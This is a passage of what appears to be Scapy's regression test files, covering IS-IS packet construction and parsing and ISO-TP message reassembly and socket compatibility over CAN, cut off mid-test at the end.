    "content": "% IS-IS Tests\n* Tests for the IS-IS layer\n\n+ Syntax check\n\n= Import the isis layer\nfrom scapy.contrib.isis import *\n\n+ Basic Layer Tests\n\n= Layer Binding\np = Dot3()/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello()\nassert p[LLC].dsap == 0xfe\nassert p[LLC].ssap == 0xfe\nassert p[LLC].ctrl == 0x03\nassert p[ISIS_CommonHdr].nlpid == 0x83\nassert p[ISIS_CommonHdr].pdutype == 17\nassert p[ISIS_CommonHdr].hdrlen == 20\n\n+ Package Tests\n\n= P2P Hello\np = Dot3(dst=\"09:00:2b:00:00:05\",src=\"00:00:00:aa:00:8c\")/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello(\n         holdingtime=40, sourceid=\"1720.1600.8016\",\n         tlvs=[\n            ISIS_ProtocolsSupportedTlv(nlpids=[\"IPv4\", \"IPv6\"])\n         ])\np = p.__class__(raw(p))\nassert p[ISIS_P2P_Hello].pdulength == 24\nassert network_layer_protocol_ids[p[ISIS_ProtocolsSupportedTlv].nlpids[1]] == \"IPv6\"\n\n= LSP\np = Dot3(dst=\"09:00:2b:00:00:05\",src=\"00:00:00:aa:00:8c\")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP(\n         lifetime=863, lspid=\"1720.1600.8016.00-00\", seqnum=0x1f0, typeblock=\"L1+L2\",\n         tlvs=[\n             ISIS_AreaTlv(\n                 areas=[ISIS_AreaEntry(areaid=\"49.1000\")]\n             ),\n             ISIS_ProtocolsSupportedTlv(\n                 nlpids=[\"IPv4\", \"IPv6\"]\n             ),\n             ISIS_DynamicHostnameTlv(\n                 hostname=\"BR-HH\"\n             ),\n             ISIS_IpInterfaceAddressTlv(\n                 addresses=[\"172.16.8.16\"]\n             ),\n             ISIS_GenericTlv(\n                 type=134,\n                 val=b\"\\xac\\x10\\x08\\x10\"\n             ),\n             ISIS_ExtendedIpReachabilityTlv(\n                 pfxs=[\n                     ISIS_ExtendedIpPrefix(metric=0, pfx=\"172.16.8.16/32\"),\n                     ISIS_ExtendedIpPrefix(metric=10, pfx=\"10.1.0.109/30\"),\n                     ISIS_ExtendedIpPrefix(metric=10, pfx=\"10.1.0.181/30\")\n                 ]\n             ),\n             ISIS_Ipv6ReachabilityTlv(\n                 pfxs=[\n                     ISIS_Ipv6Prefix(metric=0, pfx=\"fe10:1::10/128\"),\n                     ISIS_Ipv6Prefix(metric=10, pfx=\"fd1f:1::/64\"),\n                     ISIS_Ipv6Prefix(metric=10, pfx=\"fd1f:1:12::/64\")\n                 ]\n             ),\n             ISIS_ExtendedIsReachabilityTlv(\n                 neighbours=[ISIS_ExtendedIsNeighbourEntry(neighbourid=\"1720.1600.8004.00\", metric=10)]\n             )\n         ])\np = p.__class__(raw(p))\nassert p[ISIS_L2_LSP].pdulength == 150\nassert p[ISIS_L2_LSP].checksum == 0x8701\n\n= LSP with Sub-TLVs\np = Dot3(dst=\"09:00:2b:00:00:05\",src=\"00:00:00:aa:00:8c\")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP(\n         lifetime=863, lspid=\"1720.1600.8016.00-00\", seqnum=0x1f0, typeblock=\"L1+L2\",\n         tlvs=[\n             ISIS_AreaTlv(\n                 areas=[ISIS_AreaEntry(areaid=\"49.1000\")]\n             ),\n             ISIS_ProtocolsSupportedTlv(\n                 nlpids=[\"IPv4\", \"IPv6\"]\n             ),\n             ISIS_DynamicHostnameTlv(\n                 hostname=\"BR-HH\"\n             ),\n             ISIS_IpInterfaceAddressTlv(\n                 addresses=[\"172.16.8.16\"]\n             ),\n             ISIS_GenericTlv(\n                 type=134,\n                 val=b\"\\xac\\x10\\x08\\x10\"\n             ),\n             ISIS_ExtendedIpReachabilityTlv(\n                 pfxs=[\n                     ISIS_ExtendedIpPrefix(metric=0, pfx=\"172.16.8.16/32\"),\n                     ISIS_ExtendedIpPrefix(metric=10, pfx=\"10.1.0.109/30\", subtlvindicator=1,\n                     subtlvs=[\n                        ISIS_32bitAdministrativeTagSubTlv(tags=[321, 123]),\n                        ISIS_64bitAdministrativeTagSubTlv(tags=[54321, 4294967311]),\n                        ISIS_PrefixSegmentIdentifierSubTlv(flags=\"P\", algorithm=0, idx=20)\n                     ]),\n                     ISIS_ExtendedIpPrefix(metric=10, pfx=\"10.20.30.40/32\", subtlvindicator=1,\n                     subtlvs=[\n                         ISIS_PrefixSegmentIdentifierSubTlv(flags=[\"L\", \"V\", \"N\"], algorithm=0, sid=1000)\n                     ]),\n                     ISIS_ExtendedIpPrefix(metric=10, pfx=\"10.1.0.181/30\", subtlvindicator=1,\n                     subtlvs=[\n                        ISIS_GenericSubTlv(type=123, val=b\"\\x11\\x1f\\x01\\x1c\")\n                     ])\n                 ]\n             ),\n             ISIS_Ipv6ReachabilityTlv(\n                 pfxs=[\n                     ISIS_Ipv6Prefix(metric=0, pfx=\"fe10:1::10/128\"),\n                     ISIS_Ipv6Prefix(metric=10, pfx=\"fd1f:1::/64\", subtlvindicator=1,\n                     subtlvs=[\n                        ISIS_GenericSubTlv(type=99, val=b\"\\x1f\\x01\\x1f\\x01\\x11\\x1f\\x01\\x1c\")\n                     ]),\n                     ISIS_Ipv6Prefix(metric=10, pfx=\"fd1f:1:12::/64\")\n                 ]\n             ),\n             ISIS_ExtendedIsReachabilityTlv(\n                 neighbours=[\n                     ISIS_ExtendedIsNeighbourEntry(neighbourid=\"1720.1600.8004.00\", metric=10,\n                     subtlvs=[\n                        ISIS_IPv4InterfaceAddressSubTlv(address=\"172.16.8.4\"),\n                        ISIS_LinkLocalRemoteIdentifiersSubTlv(localid=418, remoteid=54321),\n                        ISIS_IPv6NeighborAddressSubTlv(address=\"fe10:1::5\"),\n                        ISIS_MaximumLinkBandwidthSubTlv(maxbw=125000000),\n                        ISIS_UnreservedBandwidthSubTlv(unrsvbw=[125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000]),\n                        ISIS_TEDefaultMetricSubTlv(temetric=16777214)\n                     ])\n                 ]\n             ),\n             ISIS_ExternalIpReachabilityTlv(\n                 type=130\n             ),\n             ISIS_RouterCapabilityTlv(\n                 type=242,\n                 routerid=\"10.20.30.40\",\n                 subtlvs=[\n                     ISIS_SRCapabilitiesSubTLV(\n                         flags='I',\n                         srgb_ranges=[\n                             ISIS_SRGBDescriptorEntry(\n                                 range=1000,\n                                 sid_label=ISIS_SIDLabelSubTLV(\n                                     sid=10\n                                     )\n                                ),\n                             ISIS_SRGBDescriptorEntry(\n                                 range=5000,\n                                 sid_label=ISIS_SIDLabelSubTLV(\n                                     idx=20\n                                     )\n                                ),\n                         ]\n                     ),\n                     ISIS_SRAlgorithmSubTLV(algorithms=[0, 1])\n                 ]\n             )\n         ])\np = p.__class__(raw(p))\nassert p[ISIS_L2_LSP].pdulength == 332\nassert p[ISIS_L2_LSP].checksum == 0x074f\nassert p[ISIS_ExtendedIpReachabilityTlv].pfxs[1].subtlvs[1].tags[0]==54321\nassert p[ISIS_ExtendedIpReachabilityTlv].pfxs[2].subtlvs[0].sid==1000\nassert p[ISIS_Ipv6ReachabilityTlv].pfxs[1].subtlvs[0].len==8\nassert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[0].address=='172.16.8.4'\nassert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[1].localid==418\nassert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[3].maxbw==125000000\nassert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[4].unrsvbw[0]==125000000\nassert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[5].temetric==16777214\nassert p[ISIS_ExternalIpReachabilityTlv].type==130\nassert p[ISIS_RouterCapabilityTlv].type==242\nassert p[ISIS_RouterCapabilityTlv].subtlvs[0].srgb_ranges[0].range==1000\nassert p[ISIS_RouterCapabilityTlv].subtlvs[0].srgb_ranges[0].sid_label.sid==10\nassert p[ISIS_RouterCapabilityTlv].subtlvs[1].algorithms==[0, 1]"
  },
  {
    "path": "test/contrib/isotp_message_builder.uts",
    "content": "% Regression tests for ISOTP Message Builder\n\n+ Configuration\n~ conf\n\n= Definition of utility functions\n\n# hexadecimal to bytes convenience function\ndhex = bytes.fromhex\n\n= Import isotp\n\nconf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False}\n\nload_layer(\"can\", globals_dict=globals())\nload_contrib(\"isotp\", globals_dict=globals())\n\n\n+ Testing ISOTPMessageBuilder\n\n= Create ISOTPMessageBuilder\nm = ISOTPMessageBuilder()\n\n= Feed packets to machine\nff = CAN(identifier=0x241, data=dhex(\"10 28 01 02 03 04 05 06\"))\nff.time = 1000\nm.feed(ff)\nm.feed(CAN(identifier=0x641, data=dhex(\"30 03 00\"               )))\nm.feed(CAN(identifier=0x241, data=dhex(\"21 07 08 09 0A 0B 0C 0D\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"22 0E 0F 10 11 12 13 14\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"23 15 16 17 18 19 1A 1B\")))\nm.feed(CAN(identifier=0x641, data=dhex(\"30 03 00\"               )))\nm.feed(CAN(identifier=0x241, data=dhex(\"24 1C 1D 1E 1F 20 21 22\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"25 23 24 25 26 27 28\"   )))\n\n= Verify there is a ready message in the machine\nassert m.count == 1\n\n= Extract the message from the machine\nmsg = m.pop()\nassert m.count == 0\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address is None\nassert msg.tx_id == 0x641\nassert msg.ext_address is None\nassert msg.time == 1000\nexpected = dhex(\"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28\")\nassert msg.data == expected\n\n= Verify that no error happens when there is not enough data\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"04 AB CD EF\")))\nmsg = m.pop()\nassert msg is None\n\n= Verify that no error happens when there is no data\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"\")))\nmsg = m.pop()\nassert msg is None\n\n= Verify a single frame without EA\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"04 AB CD EF 04\")))\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address is None\nassert msg.data == dhex(\"AB CD EF 04\")\n\n= Single frame without EA, with excessive bytes in CAN frame\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"03 AB CD EF AB CD EF AB\")))\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address is None\nassert msg.data == dhex(\"AB CD EF\")\n\n= Verify a single frame with EA\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"E2 04 01 02 03 04\")))\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xE2\nassert msg.data == dhex(\"01 02 03 04\")\n\n= Single CAN frame that has 2 valid interpretations\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"04 01 02 03 04\")))\nmsg = m.pop(0x241, None)\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address is None\nassert msg.data == dhex(\"01 02 03 04\")\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0x04\nassert msg.data == dhex(\"02\")\n\n= Verify multiple frames with EA\nm = ISOTPMessageBuilder()\nff = CAN(identifier=0x241, data=dhex(\"EA 10 28 01 02 03 04 05\"))\nff.time = 1005\nm.feed(ff)\nm.feed(CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 21 06 07 08 09 0A 0B\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 22 0C 0D 0E 0F 10 11\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 23 12 13 14 15 16 17\")))\nm.feed(CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 24 18 19 1A 1B 1C 1D\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 25 1E 1F 20 21 22 23\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 26 24 25 26 27 28\"   )))\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xEA\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0xEA\nassert msg.time == 1005\nassert msg.data == dhex(\"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28\")\n\n= Verify multiple frames with EA 2\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 10 28 01 02 03 04 05\")))\nm.feed(CAN(identifier=0x641, data=dhex(\"AE 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 21 06 07 08 09 0A 0B\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 22 0C 0D 0E 0F 10 11\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 23 12 13 14 15 16 17\")))\nm.feed(CAN(identifier=0x641, data=dhex(\"AE 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 24 18 19 1A 1B 1C 1D\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 25 1E 1F 20 21 22 23\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 26 24 25 26 27 28\"   )))\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xEA\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0xAE\nassert msg.data == dhex(\"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28\")\n\n= Verify that an EA starting with 1 will still work\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"1A 10 14 01 02 03 04 05\")))\nm.feed(CAN(identifier=0x641, data=dhex(\"1A 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"1A 21 06 07 08 09 0A 0B\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"1A 22 0C 0D 0E 0F 10 11\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"1A 23 12 13 14 15 16 17\")))\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0x1A\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0x1A\nassert msg.data == dhex(\"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14\")\n\n= Verify that an EA of 07 will still work\nm = ISOTPMessageBuilder()\nm.feed(CAN(identifier=0x241, data=dhex(\"07 10 0A 01 02 03 04 05\")))\nm.feed(CAN(identifier=0x641, data=dhex(\"07 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"07 21 06 07 08 09 0A 0B\")))\nmsg = m.pop(0x241, 0x07)\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0x07\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0x07\nassert msg.data == dhex(\"01 02 03 04 05 06 07 08 09 0A\")\n\n= Verify that three interleaved messages can be sniffed simultaneously on the same identifier and extended address (very unrealistic)\nm = ISOTPMessageBuilder()\nff = CAN(identifier=0x241, data=dhex(\"EA 10 28 01 02 03 04 05\"))\nff.time = 300\nm.feed(ff) # start of message A\nm.feed(CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 21 06 07 08 09 0A 0B\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 22 0C 0D 0E 0F 10 11\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 23 12 13 14 15 16 17\")))\nff = CAN(identifier=0x241, data=dhex(\"EA 10 10 31 32 33 34 35\"))\nff.time = 400\nm.feed(ff) # start of message B\nm.feed(CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )))\nsf = CAN(identifier=0x241, data=dhex(\"EA 03 A6 A7 A8\"         ))\nsf.time = 200\nm.feed(sf) # single-frame message C\nm.feed(CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 24 18 19 1A 1B 1C 1D\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 21 36 37 38 39 3A 3B\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 22 3C 3D 3E 3F 40\"   ))) # end of message B\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 25 1E 1F 20 21 22 23\")))\nm.feed(CAN(identifier=0x241, data=dhex(\"EA 26 24 25 26 27 28\"   ))) # end of message A\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xEA\nassert msg.data == dhex(\"A6 A7 A8\")\nassert msg.time == 200\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xEA\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0xEA\nassert msg.time == 400\nassert msg.data == dhex(\"31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40\")\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xEA\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0xEA\nassert msg.time == 300\nassert msg.data == dhex(\"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28\")\n\n\n= Verify multiple frames with EA from list\nm = ISOTPMessageBuilder()\nmsgs = [\n    CAN(identifier=0x241, data=dhex(\"EA 10 28 01 02 03 04 05\")),\n    CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )),\n    CAN(identifier=0x241, data=dhex(\"EA 21 06 07 08 09 0A 0B\")),\n    CAN(identifier=0x241, data=dhex(\"EA 22 0C 0D 0E 0F 10 11\")),\n    CAN(identifier=0x241, data=dhex(\"EA 23 12 13 14 15 16 17\")),\n    CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )),\n    CAN(identifier=0x241, data=dhex(\"EA 24 18 19 1A 1B 1C 1D\")),\n    CAN(identifier=0x241, data=dhex(\"EA 25 1E 1F 20 21 22 23\")),\n    CAN(identifier=0x241, data=dhex(\"EA 26 24 25 26 27 28\"   ))]\nm.feed(msgs)\nmsg = m.pop()\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xEA\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0xEA\nassert msg.data == dhex(\"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28\")\n\n= Verify multiple frames with EA from list and iterator\nm = ISOTPMessageBuilder()\nmsgs = [\n    CAN(identifier=0x241, data=dhex(\"EA 10 28 01 02 03 04 05\")),\n    CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )),\n    CAN(identifier=0x241, data=dhex(\"EA 21 06 07 08 09 0A 0B\")),\n    CAN(identifier=0x241, data=dhex(\"EA 22 0C 0D 0E 0F 10 11\")),\n    CAN(identifier=0x241, data=dhex(\"EA 23 12 13 14 15 16 17\")),\n    CAN(identifier=0x641, data=dhex(\"EA 30 03 00\"            )),\n    CAN(identifier=0x241, data=dhex(\"EA 24 18 19 1A 1B 1C 1D\")),\n    CAN(identifier=0x241, data=dhex(\"EA 25 1E 1F 20 21 22 23\")),\n    CAN(identifier=0x241, data=dhex(\"EA 26 24 25 26 27 28\"   )),\n    CAN(identifier=0x241, data=dhex(\"EA 03 A6 A7 A8\"         )),\n    CAN(identifier=0x241, data=dhex(\"EA 03 A6 A7 A8\"))]\nm.feed(msgs)\nassert m.count == 3\nassert len(m) == 3\n\nisotpmsgs = [x for x in m]\nassert len(isotpmsgs) == 3\nmsg = isotpmsgs[0]\nassert msg.rx_id == 0x241\nassert msg.rx_ext_address == 0xEA\nassert msg.tx_id == 0x641\nassert msg.ext_address == 0xEA\nassert msg.data == dhex(\"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28\")\n\nassert isotpmsgs[1] == isotpmsgs[2]\n\n= Verify a single frame without EA and different basecls\nm = ISOTPMessageBuilder(basecls=Raw)\nm.feed(CAN(identifier=0x241, data=dhex(\"04 AB CD EF 04\")))\nmsg = m.pop()\nassert msg.load == dhex(\"AB CD EF 04\")\nassert type(msg) == Raw\n"
  },
  {
    "path": "test/contrib/isotp_native_socket.uts",
    "content": "% Regression tests for ISOTPNativeSocket\n~ automotive_comm\n\n+ Configuration\n~ conf\n\n= Imports\n\nwith open(scapy_path(\"test/contrib/automotive/interface_mockup.py\")) as f:\n    exec(f.read())\n\n= Definition of constants, utility functions and mock classes\n\n# hexadecimal to bytes convenience function\ndhex = bytes.fromhex\n\n+ Compatibility with can-isotp linux kernel modules\n\n= Compatibility with isotpsend\nexit_if_no_isotp_module()\n\nmessage = \"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14\"\n\nwith new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x642, rx_id=0x242) as s:\n    p = subprocess.Popen([\"isotpsend\", \"-s\", \"242\", \"-d\", \"642\", iface0], stdin=subprocess.PIPE, universal_newlines=True)\n    p.communicate(message)\n    r = p.returncode\n    assert r == 0\n    isotp = s.recv()\n    assert isotp.data == dhex(message)\n\n\n= Compatibility with isotpsend - extended addresses\nexit_if_no_isotp_module()\nmessage = \"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14\"\n\nwith new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x644, rx_id=0x244, ext_address=0xaa, rx_ext_address=0xee) as s:\n    p = subprocess.Popen([\"isotpsend\", \"-s\", \"244\", \"-d\", \"644\", \"-x\", \"ee:aa\", iface0], stdin=subprocess.PIPE, universal_newlines=True)\n    p.communicate(message)\n    r = p.returncode\n    assert r == 0\n    isotp = s.recv()\n    assert isotp.data == dhex(message)\n\n\n= Compatibility with isotprecv\nexit_if_no_isotp_module()\n\nisotp = ISOTP(data=bytearray(range(1,20)))\np = subprocess.Popen([\"isotprecv\", \"-s\", \"243\", \"-d\", \"643\", \"-b\", \"3\", iface0], stdout=subprocess.PIPE)\ntime.sleep(0.1)\nwith new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x643, rx_id=0x243) as s:\n    s.send(isotp)\n\ntimer = threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait())\ntimer.start()  # Timeout the receiver after 1 second\nr = p.wait()\nassert 0 == r\n\nresult = None\nfor i in range(10):\n    time.sleep(0.1)\n    if p.poll() is not None:\n        result = p.stdout.readline().decode().strip()\n        break\n\nassert result is not None\nresult_data = dhex(result)\nassert result_data == isotp.data\n\ntimer.join(5)\nassert not timer.is_alive()\n\n\n= Compatibility with isotprecv - extended addresses\nexit_if_no_isotp_module()\nisotp = ISOTP(data=bytearray(range(1,20)))\ncmd = [\"isotprecv\", \"-s245\", \"-d645\", \"-b3\", \"-x\", \"ee:aa\", iface0]\np = subprocess.Popen(cmd, stdout=subprocess.PIPE)\ntime.sleep(0.1)  # Give some time for starting reception\nwith new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x645, rx_id=0x245, ext_address=0xaa, rx_ext_address=0xee) as s:\n    s.send(isotp)\n\ntimer = threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait())\ntimer.start()  # Timeout the receiver after 1 second\nr = p.wait()\nassert 0 == r\n\nresult = None\nfor i in range(10):\n    time.sleep(0.1)\n    if p.poll() is not None:\n        result = p.stdout.readline().decode().strip()\n        break\n\nassert result is not None\nresult_data = dhex(result)\nassert result_data == isotp.data\n\ntimer.join(5)\nassert not timer.is_alive()\n\n= Compatibility ISOTPSoftSocket ISOTPNativeSocket various configs\nexit_if_no_isotp_module()\n\nmessage = \"01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14\" * 5\n\nkwargs = [({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 2, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 5, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 0, \"stmin\": 5, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 0, \"stmin\": 10, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 4, \"stmin\": 130, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 3, \"stmin\": 0, \"padding\": True, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": True, \"ext_address\": None, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": 0xfe, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": 0xfe, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": 0xfe, \"rx_ext_address\": 0xef},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 0, \"padding\": False, \"ext_address\": 0xef, \"rx_ext_address\": 0xfe}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 6, \"stmin\": 10, \"padding\": True, \"ext_address\": 0x12, \"rx_ext_address\": 0x23},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 6, \"stmin\": 5, \"padding\": True, \"ext_address\": 0x23, \"rx_ext_address\": 0x12}),\n          ({\"tx_id\": 0x242, \"rx_id\": 0x642, \"bs\": 0, \"stmin\": 0, \"padding\": True, \"ext_address\": 0x45, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x242, \"bs\": 0, \"stmin\": 40, \"padding\": True, \"ext_address\": 0x45, \"rx_ext_address\": None}),\n          ({\"tx_id\": 0x123, \"rx_id\": 0x642, \"bs\": 1, \"stmin\": 1, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None},\n           {\"tx_id\": 0x642, \"rx_id\": 0x123, \"bs\": 1, \"stmin\": 1, \"padding\": False, \"ext_address\": None, \"rx_ext_address\": None}),]\n\nfor kwargs1, kwargs2 in kwargs:\n    print(\"Testing config %s, %s\" % (kwargs1, kwargs2))\n    with NativeCANSocket(iface0) as cs:\n        cs.sniff(timeout=0.01)\n        with ISOTPSoftSocket(iface0, **kwargs1) as s, ISOTPNativeSocket(iface0, **kwargs2) as ns:\n            ns.send(ISOTP(bytes.fromhex(message)))\n            isotp = s.recv()\n            assert isotp.data == dhex(message)\n            ns.send(ISOTP(bytes.fromhex(\"00 11 22\")))\n            isotp = s.recv()\n            assert (isotp.data == dhex(\"00 11 22\"))\n            pks1 = cs.sniff(timeout=0.01)\n        with ISOTPNativeSocket(iface0, **kwargs1) as s, ISOTPSoftSocket(iface0, **kwargs2) as ns:\n            ns.send(ISOTP(bytes.fromhex(message)))\n            isotp = s.recv()\n            assert isotp.data == dhex(message)\n            ns.send(ISOTP(bytes.fromhex(\"00 11 22\")))\n            isotp = s.recv()\n            assert (isotp.data == dhex(\"00 11 22\"))\n            pks2 = cs.sniff(timeout=0.01)\n        assert len(pks1) == len(pks2) and len(pks2) > 0\n        for p1, p2 in zip(pks1, pks2):\n            assert bytes(p1) == bytes(p2)\n\n\n+ ISOTPNativeSocket tests\n\n= Create ISOTP socket\nexit_if_no_isotp_module()\ns = 